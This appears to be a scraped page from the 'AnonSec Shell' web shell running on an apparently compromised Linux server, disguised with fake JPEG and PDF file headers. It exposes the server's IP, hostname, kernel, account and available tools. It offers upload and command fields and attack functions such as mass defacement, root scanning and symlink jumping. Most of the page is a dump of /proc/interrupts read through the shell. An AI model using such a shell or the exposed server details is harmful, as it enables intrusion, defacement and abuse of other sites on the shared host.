ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   8:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0     351186          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  16:          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   16-fasteoi   i801_smbus
 120:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
 121:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
 122:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 16384-edge      PCIe PME, aerdrv
 123:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 442368-edge      PCIe PME, aerdrv, pcie-dpc
 124:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 327680-edge      xhci_hcd
 125:   12193971     745650      19747       1268    1024391    5769706       1088    3755518  896400883      32849   14039538   10808308  IR-PCI-MSI 520192-edge      eno1
 126:        195        214         15        228        139        193        277        318         31        141        148        216  IR-PCI-MSI 524288-edge      nvme0q0
 127:        200        263          8        224        201        190        281        313          0        175         82        178  IR-PCI-MSI 1048576-edge      nvme1q0
 128:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
 129:   33801802          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524289-edge      nvme0q1
 130:          0   29825271          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524290-edge      nvme0q2
 131:          0          0   40824049          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524291-edge      nvme0q3
 132:          0          0          0   35422441          0          0          0          0          0          0          0          0  IR-PCI-MSI 524292-edge      nvme0q4
 133:          0          0          0          0   36573387          0          0          0          0          0          0          0  IR-PCI-MSI 524293-edge      nvme0q5
 134:          0          0          0          0          0   38757367          0          0          0          0          0          0  IR-PCI-MSI 524294-edge      nvme0q6
 135:          0          0          0          0          0          0   40608526          0          0          0          0          0  IR-PCI-MSI 524295-edge      nvme0q7
 136:          0          0          0          0          0          0          0   37949457          0          0          0          0  IR-PCI-MSI 524296-edge      nvme0q8
 137:          0          0          0          0          0          0          0          0   27415178          0          0          0  IR-PCI-MSI 524297-edge      nvme0q9
 138:          0          0          0          0          0          0          0          0          0   34439164          0          0  IR-PCI-MSI 524298-edge      nvme0q10
 139:          0          0          0          0          0          0          0          0          0          0   33548069          0  IR-PCI-MSI 524299-edge      nvme0q11
 140:          0          0          0          0          0          0          0          0          0          0          0   37299420  IR-PCI-MSI 524300-edge      nvme0q12
 141:   18265837          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048577-edge      nvme1q1
 142:          0   17133215          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048578-edge      nvme1q2
 143:          0          0   20660914          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048579-edge      nvme1q3
 144:          0          0          0   19297700          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048580-edge      nvme1q4
 145:          0          0          0          0   20002309          0          0          0          0          0          0          0  IR-PCI-MSI 1048581-edge      nvme1q5
 146:          0          0          0          0          0   20977422          0          0          0          0          0          0  IR-PCI-MSI 1048582-edge      nvme1q6
 147:          0          0          0          0          0          0   21386276          0          0          0          0          0  IR-PCI-MSI 1048583-edge      nvme1q7
 148:          0          0          0          0          0          0          0   20315359          0          0          0          0  IR-PCI-MSI 1048584-edge      nvme1q8
 149:          0          0          0          0          0          0          0          0   17100532          0          0          0  IR-PCI-MSI 1048585-edge      nvme1q9
 150:          0          0          0          0          0          0          0          0          0   20193387          0          0  IR-PCI-MSI 1048586-edge      nvme1q10
 151:          0          0          0          0          0          0          0          0          0          0   19358855          0  IR-PCI-MSI 1048587-edge      nvme1q11
 152:          0          0          0          0          0          0          0          0          0          0          0   20281936  IR-PCI-MSI 1048588-edge      nvme1q12
 153:    3212317    3042348    3447620    2528277    9857283    7062789    2240116    3492915     117199    5523444   11544154    6047697  IR-PCI-MSI 32768-edge      i915
 154:          0         47          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 360448-edge      mei_me
 NMI:      41273      31353      33668      29375      35169      33936      26723      34573      45148      29477      32373      34042   Non-maskable interrupts
 LOC: 1017248183  854073039  898784233 1048772737  927524061  776330079  720274269  755123449 1568541701  842121869  792849543  783888810   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      41273      31353      33668      29375      35169      33936      26723      34573      45148      29477      32373      34042   Performance monitoring interrupts
 IWI:      16597       2759        189         13        603       2909         22      17245     293828        313      21936      11421   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    1054139     827597    1203862     530424     654934     652978     638581     605704    4719468     588807     655285     631280   Rescheduling interrupts
 CAL:   34412465   18332592   12496621    9069171    8694117    8593887    7762995    7021982   10606821    8660110    8182075    7595387   Function call interrupts
 TLB:     492614     468318     400392     421706     459487     455501     425215     427677     453323     471138     437928     445940   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      11432      11433      11433      11433      11433      11433      11433      11433      11433      11433      11433      11433   Machine check polls
 HYP:          0          0          0          0          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team